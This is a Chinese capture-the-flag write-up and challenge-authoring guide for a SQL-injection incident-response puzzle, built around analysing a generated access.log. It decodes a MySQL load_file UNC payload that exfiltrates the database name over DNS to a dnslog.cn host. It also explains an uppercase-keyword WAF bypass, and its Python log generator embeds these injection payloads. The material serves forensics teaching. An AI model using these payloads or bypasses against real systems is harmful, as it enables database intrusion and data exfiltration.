2026CCF「SQL注入的应急排查」Writeup:DNS 外带日志分析与出题指南
题目描述
2026CCF-Sql注入的应急排查
某企业安全团队日常运维过程中发现 WAF 告警,显示其业务系统遭受大量 SQL 注入扫描。尽管大部分扫描被拦截,但运维人员进一步分析发现数据库服务器存在异常的 DNS 查询记录。结合 Web 访问日志,怀疑攻击者可能利用某种技术绕过了检测并将数据库敏感信息外传。请分析附件中的 access.log,找出攻击者用于接收数据的域名。
Flag 格式:
flag{abc.xyz.cn}
答案先行:攻击者用于接收数据的域名是 p9fin2.dnslog.cn,即
flag{p9fin2.dnslog.cn}下面是完整推理过程,以及”如果我要自己出这种题,思路和一般操作方式”。
一、解题篇:从日志里还原一场 SQL 注入攻击
1. 先看整体,建立基线
拿到日志第一件事不是找攻击,而是搞清楚这份日志长什么样:总量多少、都有哪些来源 IP、状态码分布、请求路径分布。
# 总量wc -l access.log # 45003
# 状态码分布(先找"异常颜色")grep -oE '" [0-9]{3} [0-9]+' access.log | awk '{print $2}' | sort | uniq -c# 40002 200# 5001 403 <-- 大量 403,异常!
# 来源 IP 分布(内网 vs 公网)awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
# 请求路径与参数形状grep -oE '"(GET|POST) [^"]*"' access.log | sed 's/?.*//' | sort | uniq -c# 45002 "GET /product# 1 "GET /search <-- 只有 1 条 /search,可疑!结论:40002 条正常 200(内网 IP 浏览 /product?id=N),5001 条 403(被拦截),路径几乎全是 /product,只有 1 条 /search —— 这条 /search 几乎必然是”题眼”。
经验:日志分析题的”正常基线”永远是大量重复、来源内网、状态 200 的流量;任何唯一性事件(唯一路径、唯一 IP、唯一状态码、唯一 UA)都是重点排查对象。
2. 找”非数字参数”,一击命中注入
/product?id=1000 是正常流量,凡是 id 后面不是纯数字的,都是注入尝试:
grep -oE '"GET [^"]*"' access.log | grep -E "id=[^0-9]" | sort -u | head只花一秒就能看到三种攻击载荷,而它们正是全题的核心:
| 行号 | 时间 | 来源 IP | 请求 | 状态 |
|---|---|---|---|---|
| 13350+ | 14:00:00 | 103.56.12.87 等 11 个公网 IP | /product?id=1' and '1'='1(布尔探测) | 403 |
| 45003 | 14:01:40 | 89.248.165.99 | /product?id=1' INTO OUTFILE '/tmp/out.txt' --(写文件) | 403 |
| 44146 | 14:02:00 | 46.101.88.33 | /product?id=1' AND SLEEP(1) --(时间盲注) | 200 |
| 43271 | 14:02:30 | 203.0.113.88 | /search?q=1' AND (SELECT load_file(...dnslog...)) --(DNS 外带) | 200 |
(注意行号顺序:43271 → 44146 → 45003,但时间戳是 14:02:30 → 14:02:00 → 14:01:40,攻击事件在文件里是逆序插入的,见下文”还原时间线”。)
3. 解码那条最关键的请求 —— 答案就在这里
DNS 外带那条是 URL 编码的,解码后一目了然:
from urllib.parse import unquoteunquote("1%27%20AND%20(SELECT%20load_file(concat(%27%5C%5C%5C%5C%27,(select%20database()),%27.p9fin2.dnslog.cn%5C%5Cabc%27)))%20--%20")# 1' AND (SELECT load_file(concat('\\\\',(select database()),'.p9fin2.dnslog.cn\\abc'))) --这是经典 OOB(带外)DNS 外带,也是本题的”题眼”:
load_file(concat('\\\\', (select database()), '.p9fin2.dnslog.cn\\abc'))- MySQL 的
load_file()支持 UNC 路径,\\xxx会触发一次 DNS 解析请求 - 于是数据库名作为子域被拼进
p9fin2.dnslog.cn,攻击者在 dnslog 平台就能看到形如shop_db.p9fin2.dnslog.cn的解析记录 dnslog.cn是公开的 DNS 外带接收平台,p9fin2是攻击者在该平台注册的个人标识子域
题目问”攻击者用于接收数据的域名” —— 就是这个 p9fin2.dnslog.cn。按 Flag 格式包起来:flag{p9fin2.dnslog.cn}。
load_file 触发 DNS 外带的原理:
load_file('\\\\' + 数据 + '.dnslog.cn\\abc') ↓ 数据库尝试访问 UNC 路径 ↓ 解析 \\数据.dnslog.cn ↓ DNS 查询: 数据.dnslog.cn ← 数据出现在 DNS 日志里4. 还原攻击时间线(注意:日志可能乱序!)
把三条攻击行按时间戳排序,得到完整的攻击链:
| 时间 | 攻击者 | 手法 | 结果 |
|---|---|---|---|
| 14:00:00 ~ 14:00:01 | 11 个公网 IP(103.56.12.87、45.33.22.11、185.130.5.253 …) | 大规模布尔盲注探测 id=N' and '1'='1,约 5000 次 | 全部 403,被 WAF 拦截 |
| 14:01:40 | 89.248.165.99 | 尝试 INTO OUTFILE 写文件(思路是写 WebShell) | 403,拦截页只有 512B(不同规则) |
| 14:02:00 | 46.101.88.33 | 时间盲注 id=1' AND SLEEP(1) -- | 200 成功 —— 大写关键字绕过 WAF |
| 14:02:30 | 203.0.113.88 | DNS 外带数据库名(/search?q= 参数) | 200 成功 —— 数据出网 |
这是标准攻击链的”探测 → 失败尝试 → 绕过成功 → 数据外带”四步,一条不差,完美呼应题面里的”大部分扫描被拦截 + 数据库服务器存在异常 DNS 查询”。
关键技巧:攻击者三个 IP 的共同特征是裸 UA
"Mozilla/5.0"、Referer 为-;正常流量是 Mac/Windows Chrome UA + baidu/google 来源。grep '" 200 ' | grep -vE "id=[0-9]+\""之后只剩 2 条 200 攻击成功记录,这 2 条就是”攻击得手”的铁证。
5. WAF 为什么拦不住?
- 5000 条探测(小写
and '1'='1)→ 403,拦截页 1024B INTO OUTFILE(文件写入特征)→ 403,拦截页 512BAND SLEEP(1)(大写)→ 200AND (SELECT ...)(大写)→ 200
说明 WAF 的规则匹配了小写关键字/特定特征串,攻击者用大写变形 + -- 注释绕过了基于大小写敏感的简单规则——这是入门级 WAF 绕过最经典的演示。从响应体大小(1024B vs 512B)还能看出不同规则对应不同的拦截页,这是一个很有信息量的细节。
6. 结论(标准答案)
- 事件类型:Web 应用 SQL 注入(含 OOB 数据外带)- 攻击时间:2024-05-20 14:00:00 ~ 14:02:30- 攻击来源:203.0.113.88(最终外带者)、46.101.88.33(时间盲注)、 89.248.165.99(写文件尝试),另有 11 个 IP 参与探测- 攻击目标:/product?id=(数字型)、/search?q=(字符型)- 攻击结果:2 条请求成功(200),数据库名经 DNS 外带- 被绕过设备:WAF(大小写绕过)- ★ 接收数据域名:p9fin2.dnslog.cn- ★ Flag:flag{p9fin2.dnslog.cn}- 建议处置:封禁攻击 IP、修补注入点(参数化查询)、排查 dnslog 已外带数据、 检查 /tmp/out.txt 是否写入成功(本日志中失败)本题 flag 就是”接收数据域名”本身——属于”外带数据/外带设施”直接当答案的出法,不用附 DNS 日志,玩家从载荷里解出来即可。
二、出题篇:怎么自己写一道这样的题
1. 先定考点(决定日志里埋什么)
一道日志分析题能考的东西,从易到难:
| 考点 | 考察能力 | 日志里怎么埋 |
|---|---|---|
| 日志基本解析 | grep/awk/正则 | 大量噪声流量 |
| 攻击识别 | 知道 SQLi 载荷长什么样 | 注入请求混在噪声里 |
| WAF 存在性 | 状态码/拦截页分析 | 403 + 拦截页大小区分 |
| 攻击链还原 | 时间线排序、乱序识别 | 攻击行时间戳乱序 |
| 编码/变形 | URL 解码、大小写绕过 | URL 编码载荷、大写关键字 |
| OOB 外带 | 知道 load_file/UNC/DNS 原理 | dnslog 域名请求 |
| 溯源 | UA/Referer 等特征关联 | 攻击者统一裸 UA |
出题的本质 = 把一个真实攻击事件的日志,混进大量正常流量里,再藏好答案。
2. 环境搭建:两种路线
路线 A:真实靶场 + 抓日志(推荐,难度可控且”真”)
- Web 应用:一个最简单的商品页
/product?id=,直接拼 SQL;再给/search?q=一个字符型注入点。可以用 Python Flask + MySQL,几十行代码 - WAF:OpenResty/nginx 里加几条 location 规则拦截小写
and|select|union|into outfile,或者直接挂 ModSecurity 默认规则集 - 日志:nginx 的 access.log 就是现成格式
- 优点:攻击是真的,日志是真的,还能顺手教环境排查;缺点:要搭环境
路线 B:纯离线生成日志(最快,比赛最常见)
- 不搭任何服务,直接用脚本造出”看起来真实”的 access.log
- 上面解题篇用的就是这条路线
- 优点:零依赖、可复现、可批量出题;缺点:没有真实环境可排查(可以再补一个”环境题”环节)
3. 流量设计:噪声 90% + 攻击 10%
日志一定要”大而杂”,否则一眼看穿。一个成熟的生成流程:
#!/usr/bin/env python3"""生成 SQL 注入应急响应日志:噪声 + 四阶段攻击 + 乱序"""import random, urllib.parse
random.seed(20240520)
# ---- 噪声流量(正常用户,量大、参数随机、响应大小随机)----INT_IPS = ["10.0.0.%d" % i for i in range(10, 30)] + ["192.168.1.%d" % i for i in range(10, 50)]NORMAL_UA = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]REFS = ["https://www.baidu.com/", "https://www.google.com/", "-"]ATTACK_UA = "Mozilla/5.0" # 攻击者统一裸 UA(溯源特征)NO_REF = "-"
def L(ip, ts, req, status, size, ref, ua): return f'{ip} - - [{ts} +0800] "GET {req} HTTP/1.1" {status} {size} "{ref}" "{ua}"'
noise = []for _ in range(40000): # 4 万条正常流量打底 ip = random.choice(INT_IPS) ts = "20/May/2024:14:00:00" if random.random() < 0.93 else "20/May/2024:14:00:01" req = f"/product?id={random.randint(1, 9999)}" noise.append(L(ip, ts, req, 200, random.randint(2000, 8000), random.choice(REFS), random.choice(NORMAL_UA)))
# ---- 四阶段攻击(时间戳为正序,但插入位置打乱)----attacks = [ # 阶段1:多 IP 布尔盲注探测 → WAF 403(1024B 拦截页) *(L(f"103.56.12.{i}", "20/May/2024:14:00:00", f"/product?id={n}' and '1'='1", 403, 1024, NO_REF, ATTACK_UA) for i in range(80, 95) for n in range(1, 30)), # 阶段2:写文件尝试 → 403(独立规则,512B 拦截页) L("89.248.165.99", "20/May/2024:14:01:40", "/product?id=1' INTO OUTFILE '/tmp/out.txt' --", 403, 512, NO_REF, ATTACK_UA), # 阶段3:大写关键字时间盲注 → 200 成功(WAF 绕过) L("46.101.88.33", "20/May/2024:14:02:00", "/product?id=1' AND SLEEP(1) --", 200, 3000, NO_REF, ATTACK_UA), # 阶段4:DNS 外带数据库名 → 200 成功(本题答案就藏在这条域名里) L("203.0.113.88", "20/May/2024:14:02:30", "/search?q=" + urllib.parse.quote( "1' AND (SELECT load_file(concat('\\\\',(select database()),'.p9fin2.dnslog.cn\\abc'))) -- "), 200, 5000, NO_REF, ATTACK_UA),]
log = noise + attacks
# 打乱(注意:攻击行时间戳已排好,这里只打乱文件里的位置)random.shuffle(log)
with open("access.log", "w") as f: f.write("\n".join(log) + "\n")几个让题”活”起来的细节(原题都做到了):
- 攻击响应大小伪装成正常范围:攻击成功是 200 且 3000/5000B,和正常 2000~8000B 混在一起——光靠大小分不出来
- 攻击行乱序/逆序插入:三条攻击行时间戳 14:02:30 → 14:02:00 → 14:01:40,按文件顺序读会得出错误攻击链,逼玩家按时间戳排序(防”按行号找答案”)
- 两个注入点:
/product?id=和/search?q=,一个是数字型一个是字符型(URL 编码),考解码 - WAF 拦截页大小区分:1024B 和 512B 暗示不同规则,留出”深挖”空间
- 攻击者指纹统一:裸 UA
Mozilla/5.0+ Referer-,和正常流量(Mac/Win Chrome + baidu/google)形成鲜明对比,方便溯源 - flag = 接收数据域名:答案藏在载荷的 dnslog 域名里,题目描述(“数据库服务器存在异常的 DNS 查询记录”)恰好提示了解题方向——找 DNS 外带
4. flag 怎么放(三种主流做法)
做法 1:flag = 外带的目标域名(本题,最省事且最贴合”OOB”考点)
- 攻击者用
load_file(concat('\\\\', 数据, '.我的dnslog域名\\abc'))外带 - 题目问”攻击者用于接收数据的域名”,玩家从载荷里解出
xxx.dnslog.cn即可 - 进阶:把外带目标改成
SELECT group_concat(flag) FROM flag,题目再附一份 DNS 解析日志,玩家从<flag内容>.xxx.dnslog.cn里拼出完整 flag
做法 2:flag 藏在载荷里(最简单,适合入门)
- 在攻击链最后加一条成功请求,载荷里直接携带 hex/base64 编码的 flag:
id=1' UNION SELECT 0x666c61677b... --(被 WAF 拦则改成 200 成功记录) - 或者
/flag?id=flag{xxx}之类直接暴露的请求
做法 3:答题式(平台题最常见)
- 不给明文 flag,玩家在平台提交「攻击者IP | 攻击时间 | 攻击手法 | 外带域名」,后台比对答案,全对才发 flag
- 出题人只需在题目描述里列 4~5 个问题,答案从日志里来
5. 校验与难度调节
玩家侧:要求玩家交付一份”应急响应报告”(事件类型/时间/来源/手法/结果/处置建议)比直接要 flag 更能考能力。
难度调节旋钮:
| 想变难 | 做法 |
|---|---|
| 隐藏攻击 | 噪声翻到 10 万行;攻击行时间戳完全随机;正常流量也混入少量 4xx/5xx |
| 藏参数 | 注入点换到 POST body / Cookie / User-Agent(需要对应日志格式) |
| 加深理解 | 攻击链分 5~6 步(加一步 information_schema 枚举、加一步写 WebShell 成功) |
| 加密载荷 | flag 用 base64/hex/异或编码,玩家要先解码 |
| 多事件并发 | 同一时间线里放两起不同攻击(SQLi + XSS),要求分别溯源 |
容易踩的坑:
- 攻击行数太少(1~2 条)会太简单;太多(>100 条)会让人 grep 不出来
- 攻击行必须和噪声共用日志格式,别让”攻击行多了个字段”这种低级破绽泄题
- 乱序要乱得”讲得通”:要么全部打乱,要么逆序插入,别只乱一半让玩家靠行号猜
- 出题人自己先按解题流程跑一遍,确认从题目描述能唯一推出答案(防止多解/无解)
6. 常用命令速查(解题与验题通用)
# 状态码分布grep -oE '" [0-9]{3} [0-9]+' access.log | awk '{print $2}' | sort | uniq -c# 来源 IP 排行awk '{print $1}' access.log | sort | uniq -c | sort -rn# 非数字参数(注入载荷)grep -oE '"GET [^"]*"' access.log | grep -E "id=[^0-9]" | sort -u# 成功攻击(200 且非纯数字参数)grep '" 200 ' access.log | grep -vE "id=[0-9]+\""# 按时间戳还原时间线grep -oE '\[[^]]*\]|"GET [^"]*"|[0-9]{3} [0-9]+' access.log | paste - - -# 攻击特征(裸 UA / 无 Referer)grep -E '"-" "Mozilla/5.0"' access.log | head# URL 解码python3 -c "from urllib.parse import unquote; print(unquote('PAYLOAD'))"三、小结
解题:先建基线(状态码/来源/路径分布)→ 用”非数字参数”过滤瞬间锁定注入 → 解码载荷 → 按时间戳还原攻击链 → 用响应码/拦截页/UA 特征佐证”谁成功了、绕过什么” → 本题的答案就是载荷里的接收域名 p9fin2.dnslog.cn,flag = flag{p9fin2.dnslog.cn}。
出题:定考点 → 搭真实靶场或纯脚本生成 → 噪声打底 + 四阶段攻击(探测/失败尝试/绕过成功/数据外带)→ 乱序 + 伪装 + 指纹统一 → 用”外带域名 / 载荷 / 答题”三种方式放 flag → 自己先解一遍验证唯一性。
日志分析题最大的魅力在于:答案全部在数据里,但藏得越自然,越能考出真本事。 祝你出题顺利,也祝被这套题难住的人少一点。